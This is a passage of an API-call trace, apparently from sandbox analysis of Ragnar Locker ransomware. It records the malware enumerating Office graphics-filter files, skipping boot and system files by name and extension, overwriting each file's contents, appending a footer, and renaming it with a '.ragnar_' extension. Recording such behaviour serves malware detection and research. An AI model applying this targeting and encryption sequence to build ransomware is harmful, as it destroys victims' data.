nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x4f160, lpOverlapped=0x0) returned 1 [0049.930] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0049.942] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f160, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.943] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f160, lpOverlapped=0x0) returned 1 [0049.944] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f160, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.944] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.945] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f160, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.945] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.945] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.946] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.946] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0049.946] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.946] GetProcessHeap () returned 0x580000 [0049.946] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0049.946] CloseHandle (hObject=0x100) returned 1 [0049.948] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" [0049.948] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.ragnar_FD7BD9FC" [0049.948] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0049.949] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0049.949] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.949] lstrcpyW (in: lpString1=0x1eb636, lpString2="CGMIMP32.FNT" | out: lpString1="CGMIMP32.FNT") returned="CGMIMP32.FNT" [0049.949] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned=".FNT" [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="autorun.inf") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="boot.ini") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootfont.bin") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootsect.bak") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootmgr") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootmgr.efi") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootmgfw.efi") returned 1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="desktop.ini") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="iconcache.db") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ntldr") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ntuser.dat") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ntuser.dat.log") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ntuser.ini") returned -1 [0049.949] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="thumbs.db") returned -1 [0049.949] lstrcmpiW (lpString1=".FNT", lpString2=".db") returned 1 [0049.949] lstrcmpiW (lpString1=".FNT", lpString2=".sys") returned -1 [0049.949] lstrcmpiW (lpString1=".FNT", lpString2=".dll") returned 1 [0049.950] lstrcmpiW (lpString1=".FNT", lpString2=".lnk") returned -1 [0049.950] lstrcmpiW (lpString1=".FNT", lpString2=".msi") returned -1 [0049.950] lstrcmpiW (lpString1=".FNT", lpString2=".drv") returned 1 [0049.950] lstrcmpiW (lpString1=".FNT", lpString2=".exe") returned 1 [0049.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0049.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0049.951] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=606062) returned 1 [0049.951] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x93f65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.951] GetProcessHeap () returned 0x580000 [0049.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0049.951] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0049.953] VirtualAlloc (lpAddress=0x0, dwSize=0x93f6e, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0049.953] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.953] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0049.953] ReadFile (in: hFile=0x100, lpBuffer=0x300000, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x93f6e, lpOverlapped=0x0) returned 1 [0049.966] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0049.969] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x93f6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.969] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x93f6e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x93f6e, lpOverlapped=0x0) returned 1 [0049.971] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x93f6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.971] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.974] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x93f6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.974] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.974] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.974] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.974] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0049.974] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.974] GetProcessHeap () returned 0x580000 [0049.974] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0049.974] CloseHandle (hObject=0x100) returned 1 [0049.980] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" [0049.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.ragnar_FD7BD9FC" [0049.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0049.981] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0049.981] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.981] lstrcpyW (in: lpString1=0x1eb636, lpString2="EPSIMP32.FLT" | out: lpString1="EPSIMP32.FLT") returned="EPSIMP32.FLT" [0049.981] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned=".FLT" [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="autorun.inf") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="boot.ini") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootfont.bin") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootsect.bak") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootmgr") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootmgr.efi") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootmgfw.efi") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="desktop.ini") returned 1 [0049.981] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="iconcache.db") returned -1 [0049.982] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ntldr") returned -1 [0049.982] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ntuser.dat") returned -1 [0049.982] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ntuser.dat.log") returned -1 [0049.982] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ntuser.ini") returned -1 [0049.982] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="thumbs.db") returned -1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0049.982] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0049.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0049.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0049.982] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=712592) returned 1 [0049.982] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xadf87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.982] GetProcessHeap () returned 0x580000 [0049.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0049.982] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0049.983] VirtualAlloc (lpAddress=0x0, dwSize=0xadf90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0049.984] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.984] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0049.984] ReadFile (in: hFile=0x100, lpBuffer=0x300000, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0xadf90, lpOverlapped=0x0) returned 1 [0049.998] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0050.002] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xadf90, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.002] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0xadf90, lpOverlapped=0x0) returned 1 [0050.004] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xadf90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.004] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0050.007] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xadf90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.007] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.008] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.008] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0050.008] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0050.008] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.008] GetProcessHeap () returned 0x580000 [0050.008] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0050.008] CloseHandle (hObject=0x100) returned 1 [0050.014] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" [0050.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.ragnar_FD7BD9FC" [0050.014] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0050.015] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0050.015] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0050.015] lstrcpyW (in: lpString1=0x1eb636, lpString2="GIFIMP32.FLT" | out: lpString1="GIFIMP32.FLT") returned="GIFIMP32.FLT" [0050.015] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned=".FLT" [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="autorun.inf") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="boot.ini") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootfont.bin") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootsect.bak") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootmgr") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootmgr.efi") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootmgfw.efi") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="desktop.ini") returned 1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="iconcache.db") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ntldr") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ntuser.dat") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ntuser.dat.log") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ntuser.ini") returned -1 [0050.015] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="thumbs.db") returned -1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0050.015] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0050.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0050.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0050.017] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=320384) returned 1 [0050.017] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4e377, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.017] GetProcessHeap () returned 0x580000 [0050.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0050.017] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0050.019] VirtualAlloc (lpAddress=0x0, dwSize=0x4e380, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0050.019] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.019] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0050.020] ReadFile (in: hFile=0x100, lpBuffer=0x300000, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x4e380, lpOverlapped=0x0) returned 1 [0050.042] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0050.044] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e380, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.044] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, 